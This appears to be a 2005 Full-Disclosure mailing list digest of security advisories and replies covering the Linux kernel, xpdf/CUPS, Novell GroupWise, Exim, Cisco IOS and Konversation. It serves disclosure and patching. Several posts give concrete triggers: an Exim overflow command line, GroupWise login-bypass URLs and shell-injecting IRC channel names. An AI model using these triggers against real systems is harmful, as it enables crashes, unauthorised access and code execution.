in_len, out_len, bytes, opcode, cmdlen; > ^ in_len, out_len are signed int > > char *buffer = NULL, sense[SCSI_SENSE_BUFFERSIZE]; > > > > /* > > * get in an out lengths, verify they don't exceed a page worth of data > > */ > > if (get_user(in_len, &sic->inlen)) > ^ in_len is user-controlled > > return -EFAULT; > > if (get_user(out_len, &sic->outlen)) > ^ out_len is user-controlled > > return -EFAULT; > > if (in_len > PAGE_SIZE || out_len > PAGE_SIZE) > ^ signed int only has upper bound checked > > return -EINVAL; Well spotted. I actually spent 30 minutes unsuccessfully trying to get my kernel to crash with this before a C guru here explained it to me. The C compiler actually rises to the rescue and safes the kernel. "A comparison will always be evaluated in the largest integer context available." (or so) PAGE_SIZE is defined as (1UL << PAGE_SHIFT) for all architectures on 2.6 kernels. signed int has 31bits, unsigned long has either 32 or 64 bit. So this expression will always be evaluated in unsigned long mode. In this case the signed int is not converted, but the binary representation is used, -1 would be in this case 0xffffffff. => No problem. Ciao, Marcus -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050119/c8380c03/attachment.bin From martin.pitt at canonical.com Wed Jan 19 11:00:53 2005 From: martin.pitt at canonical.com (Martin Pitt) Date: Wed, 19 Jan 2005 12:00:53 +0100 Subject: [Full-Disclosure] [USN-64-1] xpdf, CUPS vulnerabilities Message-ID: <20050119110053.GA20881@box79162.elkhouse.de> =========================================================== Ubuntu Security Notice USN-64-1 January 19, 2005 xpdf, cupsys vulnerabilities CAN-2005-0064 =========================================================== A security issue affects the following Ubuntu releases: Ubuntu 4.10 (Warty Warthog) The following packages are affected: cupsys libcupsimage2 libcupsys2-gnutls10 xpdf-reader xpdf-utils The problem can be corrected by upgrading the affected package to version 1.1.20final+cvs20040330-4ubuntu16.4 (cupsys, libcupsimage2, and libcupsys2-gnutls10) and 3.00-8ubuntu1.4 (xpdf-reader and xpdf-utils). In general, a standard system upgrade is sufficient to effect the necessary changes. Details follow: A buffer overflow has been found in the xpdf viewer. An insufficient input validation of the encryption key length could be exploited by an attacker providing a specially crafted PDF file which, when processed by xpdf, could result in abnormal program termination or the execution of attacker supplied program code with the user's privileges. The Common UNIX Printing System (CUPS) uses the same code to print PDF files. In this case, this bug could be exploited to gain the privileges of the CUPS print server (by default, user cupsys). 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Name: not available Type: application/pgp-signature Size: 189 bytes Desc: Digital signature Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050119/17f0358f/attachment.bin From tyron.miller at its.mq.edu.au Wed Jan 19 03:57:24 2005 From: tyron.miller at its.mq.edu.au (tyron miller) Date: Wed, 19 Jan 2005 14:57:24 +1100 Subject: [security] [Full-Disclosure] Novell GroupWise WebAccess error modules loading Message-ID: Actually, I found that it is possible to run javascript via the "about page" vulnerability, as well as another xss vulnerability with the Username field that I stumbled across. If you type the following line into the Username field and hit enter, it will run the javascript located in the image source field; ">>> "Marc Ruef" 18/01/2005 3:42:53 am >>> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Dear ladies and gentlemen We have found a potential security vulnerability in the Novell GroupWise WebAccess error module handling. First of all it is possible to circumvent the login procedure. If a user connects to https://www.scip.com:1444/servlet/webacc (this is just an example with our domain) he is able to authenticate with his user name and password. If a wrong input is made, the webacc application is loading the error page. It is possible to specify another error document with the $QUERY_STRING variant error. If this reference is done for the webacc itself - the url https://www.scip.com:1444/servlet/webacc?error=webacc would be required -, the login is circumvented. You are always logged in with a "ghost user" without a profile. It seems not to be possible to load and store data or to use other services (e.g. address book or sending email). It is also possible to reach specific template files with specification of their names (e.g. https://www.scip.com:1444/servlet/webacc?error=send for sendi! ng emails). Reaching other files than with the extension .htt or files outside the webserver root directory seems not possible. An attacker may use this vulnerability to exploit a bug that is only exploitable by authenticated users. More details on how this htt framework should be used can be found at http://developer.novell.com/ndk/doc/gwwbacc/index.html?page=/ndk/doc/gwwbacc/gwwebacc/data/a6l4t54.html - You find the original advisory, written in german, on http://www.scip.ch/cgi-bin/smss/showadvf.pl?id=1020 (Novell GroupWise WebAccess error Authentisierung umgehen). The second flaw depends on the first one. You are able to specify a (wrong) user name in the login screen. Afterwards you circumvent the authentication as described before. If you are opening the about screen (e.g. https://www.scip.com:1444/servlet/webacc?error=about or by clicking on the WebAccess logo on the top) in the Program Release line you see the version data of the GroupWise installation. The user name that has been specified in your last login procedure is printed on the Userid line. It may be possible to do html injection in this case. For example if the user name "www.scip.ch" has been used, this html link will be printed. The injection of scripts seems not to be possible because the required tags are filtered/replaced. This vulnerability may be useful to gain the version data of the installation and it may be possible to realize a social engineering or html injection attack (e.g. loading a corrupt JPEG file t! o exploit the Windows buffer overflow). You find the original advisory, written in german, on http://www.scip.ch/cgi-bin/smss/showadvf.pl?id=1021 (Novell GroupWise WebAccess error about erweiterte Rechte). We have not found any information on that issue. So I sent this information (nearly the same posting) on 14/12/04 to info at novell.com and asked for a solution. As I haven't heard _anything_ until 23/12/04 I sent a reminder email to the same address. So no reply came back we made this vulnerability public finally to force Novell to react on this case. An Attack Tool Kit (ATK) plugin that addresses this vulnerability will be published in the next days[1]. Regards, Marc Ruef [1] http://www.computec.ch/projekte/atk/ - -- ) scip AG ( Technoparkstr. 1 8005 Z?rich T +41 1 445 18 18 F +41 1 445 18 19 maru at scip.ch www.scip.ch - - Aktuellste IT-Sicherheitsluecken - -----BEGIN PGP SIGNATURE----- Version: PGP 8.0 Comment: http://www.scip.ch iQA/AwUBQevrDBe5hzJzqVMhEQJrtQCg041eH6NVBOQ+GPS5QudSw2ARKAAAni/P tTao1cSGtOUvnKKsqqH5/0Gs =A+fy -----END PGP SIGNATURE----- _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html _______________________________________________ security mailing list security at lists.seifried.org http://lists.seifried.org/mailman/listinfo/security From arjanv at redhat.com Wed Jan 19 08:30:20 2005 From: arjanv at redhat.com (Arjan van de Ven) Date: Wed, 19 Jan 2005 09:30:20 +0100 Subject: [Full-Disclosure] Re: Paper: How to exploit overflow vulnerability under Fedora Core 2 Message-ID: <20050119083020.GA28566@devserv.devel.redhat.com> This is a response to a bugtraq posting (http://www.securityfocus.com/archive/1/387192/2005-01-14/2005-01-20/0) that the bugtraq moderators repeatedly don't let through; I wanted to get the remarks wrt the original paper out anyway. On Fri, 2005-01-14 at 03:08 +0000, vangelis vangelis wrote: > This paper is about the way of exploiting overflow vulnerability under > Fedora Core 2. > I don't think this is a perfect guide to the exploitation. > If there are some mistakes, give your feedback. > I just want this paper will help you to make much better papers about > subject. > 3. What is exec-shield? > You can understand 'what exec-shield is' by redaing > "ANNOUNCE-exec-shield". You can find > "ANNOUNCE-exec-shield" in > "http://people.redhat.com/mingo/exec-shield/ANNOUNCE-exec-shield". the text at this url was outdated, we've updated it to link to two other documents: exec-shield description: http://www.redhat.com/f/pdf/rhel/WHP0006US_Execshield.pdf description of security enhancements in RHEL/FC http://people.redhat.com/drepper/nonselsec.pdf which closer resemble the state of affairs in FC2 and FC3 (and RHEL3) > Good! The first step is quite easy. You can find the address of > by using gdb. I would like to point 2 things out here: 1) You can only find this address because prelink has put glibc in a fixed (but randomized) location. This fixed location will change every 2 weeks to a new randomized value. This means that every machine out there has a different value for execl(), and the value changes every 2 weeks. You can unprelink your system if you don't believe prelink caused this. 2) You did not make your application a PIE executable (you can do so with gcc -fpie -pie vul.c -o vul ). PIE executables are in themselves randomized, and in addition will ignore the prelink "fixing" of addresses, and thus making it near impossible to find the address of the app you want to exploit[1], unless you do it from the same debugging session (but if you can attach a debugger you fully own the app anyway) Most (if not all) network facing daemons in FC are compiled as PIE for this reason, and we're in progress to extending that to other "sensitive" binaries [1] As with all randomisations, one can in principle do a brute-force attempt, at which point it comes down to statistics and the entropy of the randomisation. From markus-kern at gmx.net Wed Jan 19 12:11:43 2005 From: markus-kern at gmx.net (Markus Kern) Date: Wed, 19 Jan 2005 13:11:43 +0100 Subject: [Full-Disclosure] Re: Kazaa Sig2Dat Protocol Remote Integer Overflow and Denial Of Service by creating files in arbitrary locations In-Reply-To: <17746596171.20050118235951@gmx.net> References: <001201c4fcd4$d32e9c10$f85ab350@noone> <17746596171.20050118235951@gmx.net> Message-ID: <1035649796.20050119131143@gmx.net> On Tuesday, January 18, 2005, 11:59:51 PM Markus Kern wrote: > On Monday, January 17, 2005, 9:40:47 PM Rafel Ivgi, The-Insider wrote: >> Application: Kazaa >> Vendors: http://www.kazaa.com >> Versions: kazaa lite k++(probably all others too...) >> Platforms: Windows >> Bug: Sig2Dat Protocol Remote Integer Overflow and >> Denial Of Service by creating files in arbitrary >> locations >> Exploitation: Remote With Browser >> Date: 17 Jan 2005 >> Author: Rafel Ivgi, The-Insider >> E-Mail: the_insider at mail.com >> Website: http://theinsider.deep-ice.com >> Kazaa is currently the world?s most common P2P file sharing application. >> When installing Kazaa a new protocol is installed named ?sig2dat?. > This is incorrect. Kazaa itself does not install a handler for the > 'sig2dat' URIs. In fact it doesn't even know about them. The sig2dat > URIs are created and handled by a third party tool [1] which contains > the described flaws and happens to be included in the (unofficial) > Kazaa Lite package. I have to correct myself slightly here. After closer inspection it turns out that more recent versions of Kazaa Lite include a utility called K-Sig [2] instead of sig2dat. K-Sig does not share any code with sig2dat. It is not clear which of the two was used by the original poster but it seems neither of them do any explicit filtering to prevent directory traversal attacks. > The official Kazaa from http://www.kazaa.com does not handle sig2dat > URIs and is not vulnerable. >> This protocol contain an integer overflow vulnerability which may cause >> a crash and may allow remote execution of code. There is another >> vulnerability in the ?File:? parameter which allows creating files in >> arbitrary locations and committing Denial Of Service. > [1] sig2dat, http://www.geocities.com/vlaibb/tools.html > (The design and code of this thing are horrific and there are no > doubt plenty of other bugs to be found) [2] K-Sig, http://sourceforge.net/projects/hasnain -- Markus Kern From martin.pitt at canonical.com Wed Jan 19 15:56:03 2005 From: martin.pitt at canonical.com (Martin Pitt) Date: Wed, 19 Jan 2005 16:56:03 +0100 Subject: [Full-Disclosure] [USN-65-1] Apache utility script vulnerability Message-ID: <20050119155603.GA24938@box79162.elkhouse.de> =========================================================== Ubuntu Security Notice USN-65-1 January 19, 2005 apache vulnerabilities http://bugs.debian.org/290974 =========================================================== A security issue affects the following Ubuntu releases: Ubuntu 4.10 (Warty Warthog) The following packages are affected: apache-utils The problem can be corrected by upgrading the affected package to version 1.3.31-6ubuntu0.4. In general, a standard system upgrade is sufficient to effect the necessary changes. Details follow: Javier Fern?ndez-Sanguino Pe?a noticed that the "check_forensic" script created temporary files in an insecure manner. This could allow a symbolic link attack to create or overwrite arbitrary files with the privileges of the user invoking the program. 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Name: not available Type: application/pgp-signature Size: 189 bytes Desc: Digital signature Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050119/ad38d3db/attachment.bin From psirt at cisco.com Wed Jan 19 15:35:00 2005 From: psirt at cisco.com (Cisco Systems Product Security Incident Response Team) Date: Wed, 19 Jan 2005 15:35:00 -0000 Subject: [Full-Disclosure] Cisco Security Advisory: Vulnerability in Cisco IOS Embedded Call Processing Solutions Message-ID: <200501191535.embedded_call_processing-pub@psirt.cisco.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Cisco Security Advisory: Vulnerability in Cisco IOS Embedded Call Processing Solutions Revision 1.0 For Public Release 2005 January 19 1500 UTC +---------------------------------------------------------------------- Contents ======== Summary Affected Products Details Impact Software Versions and Fixes Obtaining Fixed Software Workarounds Exploitation and Public Announcements Status of This Notice: FINAL Distribution Revision History Cisco Security Procedures +---------------------------------------------------------------------- Summary ======= Cisco Internetwork Operating System (IOS?) Software release trains 12.1YD, 12.2T, 12.3 and 12.3T, when configured for the Cisco IOS Telephony Service (ITS), Cisco CallManager Express (CME) or Survivable Remote Site Telephony (SRST) may contain a vulnerability in processing certain malformed control protocol messages. A successful exploitation of this vulnerability may cause a reload of the device and could be exploited repeatedly to produce a Denial of Service (DoS). This advisory is available at http://www.cisco.com/warp/public/707/cisco-sa-20050119-itscme.shtml Cisco has made free software upgrades available to address this vulnerability for all affected customers. There are workarounds available to mitigate the effects of the vulnerability. This vulnerability is documented by Cisco bug ID CSCee08584. Affected Products ================= Vulnerable Products +------------------ This issue affects all Cisco devices running any unfixed version of Cisco IOS code that supports, and is configured for ITS, CME or SRST. A Cisco device running ITS or CME will have the following line in the configuration: telephony-service A Cisco device running SRST will have the following line in the configuration: call-manager-fallback To determine the software running on a Cisco product, log in to the device and issue the show version command to display the system banner. Cisco IOS Software will identify itself as "Internetwork Operating System Software" or simply "IOS." On the next line of output, the image name will be displayed between parentheses, followed by "Version" and the IOS release name. Other Cisco devices will not have the show version command or will give different output. The following example identifies a Cisco product running IOS release 12.0(3) with an installed image name of C2500-IS-L: Cisco Internetwork Operating System Software IOS (TM) 2500 Software (C2500-IS-L), Version 12.0(3), RELEASE SOFTWARE The release train label is "12.0". The next example shows a product running IOS release 12.3(6) with an image name of C2600-JS-MZ: Cisco Internetwork Operating System Software IOS (tm) C2600 Software (C2600-JS-MZ), Version 12.3(6), RELEASE SOFTWARE (fc1) Additional information about Cisco IOS release naming can be found at http://www.cisco.com/warp/public/620/1.html. Products Confirmed Not Vulnerable +-------------------------------- ITS, CME and SRST are IOS-only features. Devices that do not run IOS are not vulnerable. Details ======== More information about Cisco's IOS Telephony Service (ITS) and Cisco CallManager Express (CME) can be found here: http://www.cisco.com/en/US/products/sw/voicesw/ps4625/index.html More information on Cisco's Survivable Remote Site Telephony (SRST) can be found here: http://www.cisco.com/en/US/products/sw/voicesw/ps2169/index.html ITS, CME and SRST are features that allow a Cisco device running IOS to control IP Phones using the Skinny Call Control Protocol (SCCP). SCCP is the Cisco CallManager native signaling protocol. Certain malformed packets sent to the SCCP port on an IOS device configured for ITS, CME or SRST may cause the target device to reload. This issue is documented in Cisco bug ID CSCee08584. The following commands can be used to determine if ITS or CME are running. A device that does not have ITS or CME enabled will display: Router#show telephony-service telephony-service is not enabled A device that has ITS or CME enabled will show something similar to: Router#show telephony-service CONFIG (Version=3.0) ===================== Cisco CallManager Express ip source-address 192.168.1.1 port 2000 max-ephones 2 max-dn 2 max-conferences 8 max-redirect 5 time-format 12 date-format mm-dd-yy keepalive 30 timeout interdigit 10 timeout busy 10 timeout ringing 180 edit DN through Web: disabled. edit TIME through web: disabled. Log (table parameters): max-size: 150 retain-timer: 15 create cnf-files version-stamp Jan 01 2002 00:00:00 auto assign 1 to 2 local directory service: enabled. The following commands can be used to determine if SRST is running. A device that does not have SRST enabled will display: Router#show call-manager-fallback Call-manager fallback is not enabled A device that has SRST enabled will show something similar to: Router#show call-manager-fallback CONFIG ====== ip source-address 192.168.1.1 port 2000 max-ephones 2 max-dn 4 huntstop time-format 12 date-format mm-dd-yy keepalive 30 interdigit timeout 10 busy timeout 10 Limit number of DNs per phone: 7910: 34 7935: 34 7940: 34 7960: 34 Spoofed attacks are impractical since the attacker must pass all of the TCP/IP integrity checks first, including the initial sequence number and source TCP port number. Impact ====== Successful exploitation of the vulnerability may result in a device reload. Repeated exploitation could result in a Denial of Service (DoS) attack. Software Versions and Fixes =========================== Each row of the Cisco IOS software table (below) describes a release train and the platforms or products for which it is intended. If a given release train is vulnerable, then the earliest possible releases that contain the fix (the "First Fixed Release") and the anticipated date of availability for each are listed in the "Rebuild" and "Maintenance" columns. A device running a release in the given train that is earlier than the release in a specific column (less than the First Fixed Release) is known to be vulnerable. The release should be upgraded at least to the indicated release or a later version (greater than or equal to the First Fixed Release label). For further information on the terms "Rebuild" and "Maintenance" please consult the following URL: http://www.cisco.com/warp/public/620/1.html When considering software upgrades, please also consult http://www.cisco.com/en/US/products/products_security_advisories_listing.html and any subsequent advisories to determine exposure and a complete upgrade solution. In all cases, customers should exercise caution to be certain the devices to be upgraded contain sufficient memory and that current hardware and software configurations will continue to be supported properly by the new release. If the information is not clear, contact the Cisco Technical Assistance Center ("TAC") for asssistance. +------------------------------------------+ | Major | Availability of Repaired | | Release | Releases | |------------+-----------------------------| | Affected | | | | 12.1-Based | Rebuild | Maintenance | | Release | | | |------------+-----------------------------| | 12.1YD | Migrate to 12.2(15)T13 | | | or later | |------------+-----------------------------| | 12.1YE | Migrate to 12.2(15)T13 | | | or later | |------------+-----------------------------| | 12.1YI | Migrate to 12.2(15)T13 | | | or later | |------------+-----------------------------| | Affected | | | | 12.2-Based | Rebuild | Maintenance | | Release | | | |------------+-----------------------------| | 12.2B | Migrate to 12.3(8)T or | | | later | |------------+-----------------------------| | 12.2BC | Migrate to 12.3(9)BC or | | | later | |------------+-----------------------------| | 12.2CZ | Migrate to 12.2(15)CZ1 | | | or later | |------------+-----------------------------| | 12.2JK | 12.2(15)JK2 | |------------+-----------------------------| | | 12.2(13) | | | | T14 | | |12.2T |------------+----------------| | | 12.2(15) | | | | T13 | | |------------+-----------------------------| | 12.2XB | Migrate to 12.3(9) or | | | later | |------------+-----------------------------| | 12.2XG | Migrate to 12.2(15)T13 | | | or later | |------------+-----------------------------| | 12.2XM | Migrate to 12.2(15)T13 | | | or later | |------------+-----------------------------| | 12.2XT | Migrate to 12.2(15)T13 | | | or later | |------------+-----------------------------| | 12.2XU | Migrate to 12.2(15)T13 | | | or later | |------------+-----------------------------| | 12.2XW | Migrate to 12.2(15)T13 | | | or later | |------------+-----------------------------| | 12.2XZ | Migrate to 12.2(15)T13 | | | or later | |------------+-----------------------------| | 12.2YA | 12.2(4)YA8 | | |------------+-----------------------------| | 12.2YB | Migrate to 12.2(15)T13 | | | or later | |------------+-----------------------------| | 12.2YC | Migrate to 12.2(15)T13 | | | or later | |------------+-----------------------------| | 12.2YD | Migrate to 12.3(8)T or | | | later | |------------+-----------------------------| | 12.2YF | Migrate to 12.2(15)T13 | | | or later | |------------+-----------------------------| | 12.2YG | Migrate to 12.2(15)T13 | | | or later | |------------+-----------------------------| | 12.2YH | Migrate to 12.2(15)T13 | | | or later | |------------+-----------------------------| | 12.2YJ | Migrate to 12.2(15)T13 | | | or later | |------------+-----------------------------| | 12.2YL | Migrate to 12.3(8)T or | | | later | |------------+-----------------------------| | 12.2YM | Migrate to 12.3(8)T or | | | later | |------------+-----------------------------| | 12.2YN | Migrate to 12.3(8)T or | | | later | |------------+-----------------------------| | 12.2YQ | Migrate to 12.3(8)T or | | | later | |------------+-----------------------------| | 12.2YR | Migrate to 12.3(8)T or | | | later | |------------+-----------------------------| | 12.2YS | Migrate to 12.3(8)T or | | | later | |------------+-----------------------------| | 12.2ZK | Migrate to 12.3(8)T or | | | later | |------------+-----------------------------| | 12.2ZO | Migrate to 12.2(15)T13 | | | or later | |------------+-----------------------------| | 12.2ZP | Migrate to 12.3(4)XN2 or | | | later | |------------+-----------------------------| | Affected | | | | 12.3-Based | Rebuild | Maintenance | | Release | | | |------------+------------+----------------| | | 12.3(5d) | | | |------------+----------------| | 12.3 | 12.3(6c) | | | |------------+----------------| | | | 12.3(9) | |------------+------------+----------------| | | 12.3(2)T7 | | | |------------+----------------| | | 12.3(4)T6 | | |12.3T |------------+----------------| | | 12.3(7)T1 | | | |------------+----------------| | | | 12.3(8)T | |------------+-----------------------------| | 12.3XA | Migrate to 12.3(8)T or | | | later | |------------+-----------------------------| | 12.3XB | Migrate to 12.3(8)T or | | | later | |------------+-----------------------------| | 12.3XC | Migrate to 12.3(8)T or | | | later | |------------+-----------------------------| | 12.3XD | 12.3(4)XD3 | | |------------+------------+----------------| | 12.3XE | 12.3(2)XE1 | | |------------+-----------------------------| | 12.3XF | Migrate to 12.3(11)T or | | | later | |------------+-----------------------------| | 12.3XG | 12.3(4)XG2 | | |------------+-----------------------------| | 12.3XH | Migrate to 12.3(11)T or | | | later | |------------+-----------------------------| | 12.3XI | | 12.3(7)XI | |------------+------------+----------------| | 12.3XJ | 12.3(7)XJ2 | | |------------+------------+----------------| | 12.3XK | 12.3(4)XK1 | | |------------+------------+----------------| | 12.3XL | | 12.3(7)XL | |------------+-----------------------------| | 12.3XN | Contact Cisco TAC | |------------+-----------------------------| | | 12.3(4)XQ1 | | | | Release | | | 12.3XQ | date not | | | | yet | | | | determined | | +------------------------------------------+ Obtaining Fixed Software ======================== Customers with Service Contracts +------------------------------- Customers with contracts should obtain upgraded software through their regular update channels. For most customers, this means that upgrades should be obtained through the Software Center on Cisco's worldwide website at http://www.cisco.com. Customers using Third-party Support Organizations +------------------------------------------------ Customers whose Cisco products are provided or maintained through prior or existing agreement with third-party support organizations such as Cisco Partners, authorized resellers, or service providers should contact that support organization for assistance with the upgrade, which should be free of charge. Customers without Service Contracts +---------------------------------- Customers who purchase direct from Cisco but who do not hold a Cisco service contract and customers who purchase through third-party vendors but are unsuccessful at obtaining fixed software through their point of sale should get their upgrades by contacting the TAC. TAC contacts are as follows. * +1 800 553 2447 (toll free from within North America) * +1 408 526 7209 (toll call from anywhere in the world) * e-mail: tac at cisco.com Please have your product serial number available and give the URL of this notice as evidence of your entitlement to a free upgrade. Free upgrades for non-contract customers must be requested through the TAC. Please do not contact either "psirt at cisco.com" or "security-alert at cisco.com" for software upgrades. See http://www.cisco.com/warp/public/687/Directory/DirTAC.shtml for additional TAC contact information, including special localized telephone numbers and instructions and e-mail addresses for use in various languages. Customers may only install and expect support for the feature sets they have purchased. By installing, downloading, accessing or otherwise using such software upgrades, customers agree to be bound by the terms of Cisco's software license terms found at http://www.cisco.com/public/sw-license-agreement.html, or as otherwise set forth at Cisco.com Downloads at http://www.cisco.com/public/sw-center/sw-usingswc.shtml. Workarounds =========== The effectiveness of any workaround is dependent on specific customer situations such as product mix, network topology, traffic behavior, and organizational mission. Due to the variety of affected products and releases, customers should consult with their service provider or support organization to ensure any applied workaround is the most appropriate for use in the intended network before it is deployed. Affected devices that must run ITS, CME or SRST are vulnerable, and there are not any specific configurations that can be used to protect them. Applying access lists on interfaces that should not accept ITS, CME or SRST traffic and putting firewalls in strategic locations may greatly reduce exposure until an upgrade can be performed. The IP Telephony Security in Depth SAFE paper at the URL below discusses a variety of best practices that should keep your voice network isolated from the Internet. These best practices may help to reduce the risk of exposure, although attacks from within the local network should always be considered a potential risk. http://www.cisco.com/en/US/netsol/ns340/ns394/ns171/ns128/networking_solutions_white_paper09186a00801b7a50.shtml Using 'strict-match' +------------------- It is possible to restrict SCCP communications to the IP specified in the ip source-address configuration command by using the strict-match option. More information on this command can be found at the following URL: http://www.cisco.com/en/US/netsol/ns340/ns394/ns165/ns391/networking_solutions_design_guidance09186a00801f8e30.html#wp40333 Using Access Lists +----------------- Where possible, it is recommended to block SCCP traffic at the network edge with an Infrastructure Access Control List (iACL) or a Transit Access Control List (tACL). For more information on iACLs, refer to "Protecting Your Core: Infrastructure Protecton Access Control Lists": http://www.cisco.com/warp/public/707/iacl.html For more information on tACLs, refer to 'Transit Access Control Lists: Filtering at Your Edge": http://www.cisco.com/warp/public/707/tacl.html Below is an example of an access list to block SCCP traffic from anywhere but a permitted network. Note: In SRST deployments the SCCP packets are not addressed directly to the SRST device. The SCCP packets will be addressed to the call control devices (typically Cisco CallManager). In this example, the permitted telephony devices are on the 172.16.0.0/16 network and the SCCP port being used is the default, TCP port 2000. If the specific IP addresses of the telephony devices are known, then the access list can be made to restrict traffic from only those devices. !--- Permit access from any IP address in the 172.16.0.0/16 !--- to TCP port 2000. access-list 101 permit tcp 172.16.0.0 0.0.255.255 any eq 2000 !--- Deny all traffic to port 2000. access-list 101 deny tcp any any eq 2000 !--- Permit all other traffic. access-list 101 permit ip any any Using Control Plane Policing +--------------------------- The Control Plane Policing (CoPP) feature may be used to mitigate this vulnerability. In the following example SCCP traffic is permitted to and from the 192.168.10.0/24 subnet. All other TCP port 2000 traffic destined to the device is blocked. access-list 140 deny tcp 192.168.10.0 0.0.0.255 any eq 2000 access-list 140 deny tcp any 192.168.10.0 0.0.0.255 eq 2000 access-list 140 permit tcp any any eq 2000 access-list 140 deny ip any any class-map match-all sccp-class match access-group 140 policy-map control-plane-policy class sccp-class police 8000 1500 1500 conform-action drop exceed-action drop control-plane service-policy input control-plane-policy CoPP is available in IOS release trains 12.2S and 12.3T. Additional information on the configuration and use of the CoPP feature can be found at the following URL: http://www.cisco.com/en/US/products/sw/iosswrel/ps1838/products_feature_guide09186a00801afad4.html Exploitation and Public Announcements ===================================== The vulnerability described by CSCee08584 was originally reported to Cisco by SecureTest. The Cisco PSIRT is not aware of any public announcements or malicious use of the vulnerability described in this advisory. Status of This Notice: FINAL ============================ THIS ADVISORY IS PROVIDED ON AN "AS IS" BASIS AND DOES NOT IMPLY ANY KIND OF GUARANTEE OR WARRANTY, INCLUDING THE WARRANTY OF MERCHANTABILITY. YOUR USE OF THE INFORMATION ON THE ADVISORY OR MATERIALS LINKED FROM THE ADVISORY IS AT YOUR OWN RISK. CISCO RESERVES THE RIGHT TO CHANGE OR UPDATE THIS NOTICE AT ANY TIME. A stand-alone copy or paraphrase of the text of this security advisory that omits the distribution URL in the following section is an uncontrolled copy, and may lack important information or contain factual errors. Distribution ============ This advisory will be posted on Cisco's worldwide website at http://www.cisco.com/warp/public/707/cisco-sa-20050119-itscme.shtml. In addition to worldwide web posting, a text version of this notice is clear-signed with the Cisco PSIRT PGP key and is posted to the following e-mail and Usenet news recipients. * cust-security-announce at cisco.com * first-teams at first.org (includes CERT/CC) * bugtraq at securityfocus.com * vulnwatch at vulnwatch.org * cisco at spot.colorado.edu * cisco-voice at puck.nether.net * full-disclosure at lists.netsys.com * comp.dcom.sys.cisco at newsgate.cisco.com Future updates of this advisory, if any, will be placed on Cisco's worldwide website, but may or may not be actively announced on mailing lists or newsgroups. Users concerned about this problem are encouraged to check the above URL for any updates. Revision History ================ +----------------------------------------+ | Revision | | Initial | | 1.0 | 2005-Jan-19 | Public | | | | Release | +----------------------------------------+ Cisco Security Procedures ========================= Complete information on reporting security vulnerabilities in Cisco products, obtaining assistance with security incidents, and registering to receive security information from Cisco, is available on Cisco's worldwide website at http://www.cisco.com/en/US/products/products_security_vulnerability_policy.html. This includes instructions for press inquiries regarding Cisco security notices. All Cisco security advisories are available at http://www.cisco.com/go/psirt. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (SunOS) iD8DBQFB7n24ezGozzK2tZARAumZAJ44GLqcYOm4jvjcy8HrsF3m4Z0hIQCcCwA9 90XZfoGYoUiSUH7BQzEdtRs= =zTtV -----END PGP SIGNATURE----- From customerservice at idefense.com Wed Jan 19 16:12:00 2005 From: customerservice at idefense.com (customer service mailbox) Date: Wed, 19 Jan 2005 11:12:00 -0500 Subject: [Full-Disclosure] iDEFENSE Security Advisory 01.14.05: Exim dns_buld_reverse() Buffer Overflow Vulnerability Message-ID: There has been some confusion over the CVE numbers issued for three recently released Exim security vulnerabilities. In discussions with both Mitre and the Exim maintainers, a decision has been made to issue the following CVE numbers for these vulnerabilities: Exim dns_buld_reverse() Buffer Overflow Vulnerability http://www.idefense.com/application/poi/display?id=183&type=vulnerabilit ies CAN-2005-0021 Exim host_aton() Buffer Overflow Vulnerability http://www.idefense.com/application/poi/display?id=179&type=vulnerabilit ies CAN-2005-0021 Exim auth_spa_server() Buffer Overflow Vulnerability http://www.idefense.com/application/poi/display?id=178&type=vulnerabilit ies CAN-2005-0022 The determination was made by Mitre to combine the dns_buld_reverse() and host_aton() into a single CVE number due the fact that they are both buffer overflows addressed by the same patch. >> /usr/bin/exim -bh ::%A`perl -e 'print pack('L',0xdeadbeef') x 256'` >That one is syntactically invalid, and neither of the obvious fixes >does result in a crash on Debian sid. exim 4.34-9, dated 2004-12-08, >correctly complains that it is unable to parse the parameter as an >IPv6 address and exits with an exit code of 1. The same happens with a >locally built 4.41 without Debian patches. Marc - I appreciate your bringing this to our attention. You are correct that the code was syntactically invalid. We have updated the advisory with the following code: /path/to/exim-binary -bh ::%A:::::::::::::::::`perl -e 'print pack("L",0xdeadbeef) x 256'` Lastly, the wording of the Vendor Response section has been updated to clarify the correct vendor fix for this issue. "The vulnerability has been fixed in Exim release 4.44." The public advisories on the iDEFENSE web site have been updated to reflect these changes. My apologies for the confusion. Regards, Michael Sutton Director, iDEFENSE Labs From wouter at coekaerts.be Wed Jan 19 16:39:46 2005 From: wouter at coekaerts.be (Wouter Coekaerts) Date: Wed, 19 Jan 2005 17:39:46 +0100 Subject: [Full-Disclosure] Multiple vulnerabilities in Konversation Message-ID: <200501191739.56585.wouter@coekaerts.be> On 18 and 19 Jan 2005 I (Wouter Coekaerts) discovered 3 security vulnerabilities in Konversation ("A user-friendly IRC-client for KDE", http://konversation.berlios.de/). Affected are version 0.15, CVS until 18-19/01/2005, and some older versions too. They are fixed in 0.15.1. Problem 1. Quick Buttons ======================== The Server::parseWildcards function is buggy: to expand % variables, it does a series of QString.replace's, so the value for one variable can contain another variable, which will then be expanded too. This function is used for the "Quick Buttons" under the nicklist (which is disabled by default) The only way I found to exploit this from another client, would be to let a user join a channel with such vars in its name, and then let the user press the Part Button. But since channel names cannot have spaces, only very simple things can be done. For example: in #%n/quit%n, he will disconnect. An 'evil' server might be able to do this for other Quick Buttons too. Problem 2. Included Perl scripts vulnerable to shell command injection ====================================================================== Perl scripts included with Konversation execute a command line similar to: exec ("dcop $PORT Konversation say $SERVER \"$TARGET\" output"); shell characters in $SERVER or $TARGET aren't escaped. Joining #`kwrite` and executing a script (for example typing /uptime) will start kwrite. A song with a strange name may also cause command execution with the media script. Problem 3. Nick and password confused in quick connect dialog ============================================================= I'll leave the question of wether or not this actually is a security bug open, but at least I can imagine someone could see it as one. Nick and password are confused in the quick connection dialog, so connecting with that dialog and filling in a password, would use that password as nick. If connecting works, you'll show everyone your password that was probably a password for something else (since you could connecting with your nick as password instead). If connecting fails because the server did require a password, it may show an oper watching server notices your password and/or put it in a logfile. Solution ======== These problems are fixed in version 0.15.1, which was released 19/01/05 